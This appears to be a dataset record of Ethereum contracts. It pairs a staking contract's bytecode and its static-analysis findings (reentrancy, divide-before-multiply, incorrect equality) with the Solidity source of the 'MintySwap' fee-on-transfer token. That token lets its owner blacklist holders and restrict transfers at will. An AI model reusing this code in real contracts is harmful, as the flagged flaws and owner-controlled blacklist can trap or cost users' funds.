ffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b81526004016105de93929190611ea9565b600060405180830381600087803b1580156105f857600080fd5b505af115801561060c573d6000803e3d6000fd5b5050505060405180606001604052808362ffffff1681526020014265ffffffffffff1681526020013373ffffffffffffffffffffffffffffffffffffffff168152506007600084815260200190815260200160002060008201518160000160006101000a81548162ffffff021916908362ffffff16021790555060208201518160000160036101000a81548165ffffffffffff021916908365ffffffffffff16021790555060408201518160000160096101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509050506005600083815260200190815260200160002060009054906101000a900460ff166107765742600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000848152602001908152602001600020819055505b808061078190612306565b915050610440565b50505050565b60095481565b60046020528060005260406000206000915090508060000154908060010154908060020154905083565b60006107ca33610f61565b905060006107d733610b27565b90506000821161081c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081390611f46565b60405180910390fd5b81600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161089a9190611e8e565b60206040518083038186803b1580156108b257600080fd5b505afa1580156108c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ea9190611c9c565b101561092b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092290611fe6565b60405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166361ee195533846040518363ffffffff1660e01b8152600401610988929190611ee0565b600060405180830381600087803b1580156109a257600080fd5b505af11580156109b6573d6000803e3d6000fd5b5050505060005b81518160ff161015610a7b574260076000848460ff16815181106109e4576109e36123d7565b5b6020026020010151815260200190815260200160002060000160036101000a81548165ffffffffffff021916908365ffffffffffff160217905550600160056000848460ff1681518110610a3b57610a3a6123d7565b5b6020026020010151815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a739061234f565b9150506109bd565b5081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000016000828254610ace919061214a565b925050819055506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201819055505050565b600b5481565b60606000600954905060008167ffffffffffffffff811115610b4c57610b4b612406565b5b604051908082528060200260200182016040528015610b7a5781602001602082028036833780820191505090505b509050600080600190505b838111610c63578573ffffffffffffffffffffffffffffffffffffffff166007600083815260200190815260200160002060000160099054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610c50576007600082815260200190815260200160002060000160009054906101000a900462ffffff1662ffffff16838381518110610c3457610c336123d7565b5b602002602001018181525050600182610c4d919061214a565b91505b8080610c5b90612306565b915050610b85565b5060008167ffffffffffffffff811115610c8057610c7f612406565b5b604051908082528060200260200182016040528015610cae5781602001602082028036833780820191505090505b50905060005b82811015610d0957838181518110610ccf57610cce6123d7565b5b6020026020010151828281518110610cea57610ce96123d7565b5b6020026020010181815250508080610d0190612306565b915050610cb4565b5080945050505050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610da4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9b90611fc6565b60405180910390fd5b80600b8190555050565b600080610dba83610b27565b511115610dca5760019050610dcf565b600090505b919050565b6006602052816000526040600020602052806000526040600020600091509150505481565b60008060009050600060095490506000600190505b818111610ea2578473ffffffffffffffffffffffffffffffffffffffff166007600083815260200190815260200160002060000160099054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610e8f57600183610e8c919061214a565b92505b8080610e9a90612306565b915050610e0e565b508192505050919050565b60056020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915090508060000160009054906101000a900462ffffff16908060000160039054906101000a900465ffffffffffff16908060000160099054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905083565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000806000610f6f84610b27565b905060005b81518110156110ee57600a54600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000848481518110610fd457610fd36123d7565b5b6020026020010151815260200190815260200160002054610ff5919061214a565b4211801561103b575060056000838381518110611015576110146123d7565b5b6020026020010151815260200190815260200160002060009054906101000a900460ff16155b1561105157600b548361104e919061214a565b92505b67d02ab486cedc00006110c460085460076000868681518110611077576110766123d7565b5b6020026020010151815260200190815260200160002060000160039054906101000a900465ffffffffffff1665ffffffffffff16426110b6919061222b565b61198d90919063ffffffff16565b6110ce91906121d1565b836110d9919061214a565b925080806110e690612306565b915050610f74565b50600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201548261113d919061214a565b92505050919050565b600061115182610b27565b519050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6003602052816000526040600020602052806000526040600020600091509150505481565b6111ab33610f61565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160008282546111fc919061214a565b92505081905550600080600090505b825181101561150d57828181518110611227576112266123d7565b5b60200260200101519150600061123c33610f61565b11156112895760016005600085848151811061125b5761125a6123d7565b5b6020026020010151815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6000600760008481526020019081526020016000206040518060600160405290816000820160009054906101000a900462ffffff1662ffffff1662ffffff1681526020016000820160039054906101000a900465ffffffffffff1665ffffffffffff1665ffffffffffff1681526020016000820160099054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152505090503373ffffffffffffffffffffffffffffffffffffffff16816040015173ffffffffffffffffffffffffffffffffffffffff16146113c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b990612006565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3033866040518463ffffffff1660e01b815260040161142193929190611ea9565b600060405180830381600087803b15801561143b57600080fd5b505af115801561144f573d6000803e3d6000fd5b5050505060006007600085815260200190815260200160002060000160036101000a81548165ffffffffffff021916908365ffffffffffff16021790555060076000848152602001908152602001600020600080820160006101000a81549062ffffff02191690556000820160036101000a81549065ffffffffffff02191690556000820160096101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055505050808061150590612306565b91505061120b565b505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159790611fc6565b60405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161163a9190611e8e565b60206040518083038186803b15801561165257600080fd5b505afa158015611666573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061168a9190611c9c565b6040518363ffffffff1660e01b81526004016116a7929190611ee0565b602060405180830381600087803b1580156116c157600080fd5b505af11580156116d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116f99190611c42565b611738576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172f90611fa6565b60405180910390fd5b565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117bf90611fc6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182f90611f66565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197a90611fc6565b60405180910390fd5b8060098190555050565b600080821161199b57600080fd5b600082846119a991906121a0565b90508091505092915050565b60006119c86119c3846120d4565b6120af565b905080838252602082019050828560208602820111156119eb576119ea61243f565b5b60005b85811015611a1b5781611a018882611ae8565b8452602084019350602083019250506001810190506119ee565b5050509392505050565b600081359050611a34816125ca565b92915050565b600081519050611a49816125ca565b92915050565b60008083601f840112611a6557611a6461243a565b5b8235905067ffffffffffffffff811115611a8257611a81612435565b5b602083019150836020820283011115611a9e57611a9d61243f565b5b9250929050565b600082601f830112611aba57611ab961243a565b5b8135611aca8482602086016119b5565b91505092915050565b600081519050611ae2816125e1565b92915050565b600081359050611af7816125f8565b92915050565b600081519050611b0c816125f8565b92915050565b600060208284031215611b2857611b27612449565b5b6000611b3684828501611a25565b91505092915050565b600060208284031215611b5557611b54612449565b5b6000611b6384828501611a3a565b91505092915050565b60008060408385031215611b8357611b82612449565b5b6000611b9185828601611a25565b9250506020611ba285828601611ae8565b9150509250929050565b60008060208385031215611bc357611bc2612449565b5b600083013567ffffffffffffffff811115611be157611be0612444565b5b611bed85828601611a4f565b92509250509250929050565b600060208284031215611c0f57611c0e612449565b5b600082013567ffffffffffffffff811115611c2d57611c2c612444565b5b611c3984828501611aa5565b91505092915050565b600060208284031215611c5857611c57612449565b5b6000611c6684828501611ad3565b91505092915050565b600060208284031215611c8557611c84612449565b5b6000611c9384828501611ae8565b91505092915050565b600060208284031215611cb257611cb1612449565b5b6000611cc084828501611afd565b91505092915050565b6000611cd58383611e61565b60208301905092915050565b611cea8161225f565b82525050565b6000611cfb82612110565b611d058185612128565b9350611d1083612100565b8060005b83811015611d41578151611d288882611cc9565b9750611d338361211b565b925050600181019050611d14565b5085935050505092915050565b611d5781612271565b82525050565b6000611d6a601a83612139565b9150611d758261245f565b602082019050919050565b6000611d8d602683612139565b9150611d9882612488565b604082019050919050565b6000611db0600d83612139565b9150611dbb826124d7565b602082019050919050565b6000611dd3601583612139565b9150611dde82612500565b602082019050919050565b6000611df6602083612139565b9150611e0182612529565b602082019050919050565b6000611e19603083612139565b9150611e2482612552565b604082019050919050565b6000611e3c600c83612139565b9150611e47826125a1565b602082019050919050565b611e5b8161229d565b82525050565b611e6a816122ac565b82525050565b611e79816122ac565b82525050565b611e88816122b6565b82525050565b6000602082019050611ea36000830184611ce1565b92915050565b6000606082019050611ebe6000830186611ce1565b611ecb6020830185611ce1565b611ed86040830184611e70565b949350505050565b6000604082019050611ef56000830185611ce1565b611f026020830184611e70565b9392505050565b60006020820190508181036000830152611f238184611cf0565b905092915050565b6000602082019050611f406000830184611d4e565b92915050565b60006020820190508181036000830152611f5f81611d5d565b9050919050565b60006020820190508181036000830152611f7f81611d80565b9050919050565b60006020820190508181036000830152611f9f81611da3565b9050919050565b60006020820190508181036000830152611fbf81611dc6565b9050919050565b60006020820190508181036000830152611fdf81611de9565b9050919050565b60006020820190508181036000830152611fff81611e0c565b9050919050565b6000602082019050818103600083015261201f81611e2f565b9050919050565b600060608201905061203b6000830186611e52565b6120486020830185611e7f565b6120556040830184611ce1565b949350505050565b60006020820190506120726000830184611e70565b92915050565b600060608201905061208d6000830186611e70565b61209a6020830185611e70565b6120a76040830184611e70565b949350505050565b60006120b96120ca565b90506120c582826122d5565b919050565b6000604051905090565b600067ffffffffffffffff8211156120ef576120ee612406565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612155826122ac565b9150612160836122ac565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561219557612194612379565b5b828201905092915050565b60006121ab826122ac565b91506121b6836122ac565b9250826121c6576121c56123a8565b5b828204905092915050565b60006121dc826122ac565b91506121e7836122ac565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156122205761221f612379565b5b828202905092915050565b6000612236826122ac565b9150612241836122ac565b92508282101561225457612253612379565b5b828203905092915050565b600061226a8261227d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062ffffff82169050919050565b6000819050919050565b600065ffffffffffff82169050919050565b600060ff82169050919050565b6122de8261244e565b810181811067ffffffffffffffff821117156122fd576122fc612406565b5b80604052505050565b6000612311826122ac565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561234457612343612379565b5b600182019050919050565b600061235a826122c8565b915060ff82141561236e5761236d612379565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f796f7520646f6e27742068617665207265776172642079657421000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f6e6674206e6f7420666f756e6400000000000000000000000000000000000000600082015250565b7f546f6b656e207472616e73666572204572726f72210000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f436f6e747261637420446f6e2774206861766520656e6f75676820746f6b656e60008201527f7320746f20676976652072657761726400000000000000000000000000000000602082015250565b7f6e6f7420616e206f776e65720000000000000000000000000000000000000000600082015250565b6125d38161225f565b81146125de57600080fd5b50565b6125ea81612271565b81146125f557600080fd5b50565b612601816122ac565b811461260c57600080fd5b5056fea26469706673582212209a22f16c995140a8f42108f623322efe63c38a75dfbabfb936154c8fc794ce3764736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 8,247 |
0x6a758ece1cc3e860d50c688ef857f9bd90a7b404
|
/**
*Submitted for verification at Etherscan.io on 2021-08-25
*/
/**
MintySwap.io
*/
/*
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MintySwap is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Minty Swap";
string private constant _symbol = "Minty";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 0;
uint256 private _teamFee = 15;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 0;
_teamFee = 15;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102f2578063c3c8cd8014610312578063c9567bf914610327578063d543dbeb1461033c578063dd62ed3e1461035c57600080fd5b8063715018a6146102675780638da5cb5b1461027c57806395d89b41146102a4578063a9059cbb146102d257600080fd5b8063273123b7116100dc578063273123b7146101d4578063313ce567146101f65780635932ead1146102125780636fc3eaec1461023257806370a082311461024757600080fd5b806306fdde0314610119578063095ea7b31461015e57806318160ddd1461018e57806323b872dd146101b457600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600a81526904d696e747920537761760b41b60208201525b60405161015591906119f1565b60405180910390f35b34801561016a57600080fd5b5061017e610179366004611882565b6103a2565b6040519015158152602001610155565b34801561019a57600080fd5b50683635c9adc5dea000005b604051908152602001610155565b3480156101c057600080fd5b5061017e6101cf366004611842565b6103b9565b3480156101e057600080fd5b506101f46101ef3660046117d2565b610422565b005b34801561020257600080fd5b5060405160098152602001610155565b34801561021e57600080fd5b506101f461022d366004611974565b610476565b34801561023e57600080fd5b506101f46104be565b34801561025357600080fd5b506101a66102623660046117d2565b6104eb565b34801561027357600080fd5b506101f461050d565b34801561028857600080fd5b506000546040516001600160a01b039091168152602001610155565b3480156102b057600080fd5b506040805180820190915260058152644d696e747960d81b6020820152610148565b3480156102de57600080fd5b5061017e6102ed366004611882565b610581565b3480156102fe57600080fd5b506101f461030d3660046118ad565b61058e565b34801561031e57600080fd5b506101f4610632565b34801561033357600080fd5b506101f4610668565b34801561034857600080fd5b506101f46103573660046119ac565b610a2c565b34801561036857600080fd5b506101a661037736600461180a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103af338484610aff565b5060015b92915050565b60006103c6848484610c23565b610418843361041385604051806060016040528060288152602001611bc2602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611035565b610aff565b5060019392505050565b6000546001600160a01b031633146104555760405162461bcd60e51b815260040161044c90611a44565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146104a05760405162461bcd60e51b815260040161044c90611a44565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104de57600080fd5b476104e88161106f565b50565b6001600160a01b0381166000908152600260205260408120546103b3906110f4565b6000546001600160a01b031633146105375760405162461bcd60e51b815260040161044c90611a44565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103af338484610c23565b6000546001600160a01b031633146105b85760405162461bcd60e51b815260040161044c90611a44565b60005b815181101561062e576001600a60008484815181106105ea57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062681611b57565b9150506105bb565b5050565b600c546001600160a01b0316336001600160a01b03161461065257600080fd5b600061065d306104eb565b90506104e881611178565b6000546001600160a01b031633146106925760405162461bcd60e51b815260040161044c90611a44565b600f54600160a01b900460ff16156106ec5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161044c565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107293082683635c9adc5dea00000610aff565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561076257600080fd5b505afa158015610776573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079a91906117ee565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107e257600080fd5b505afa1580156107f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081a91906117ee565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561086257600080fd5b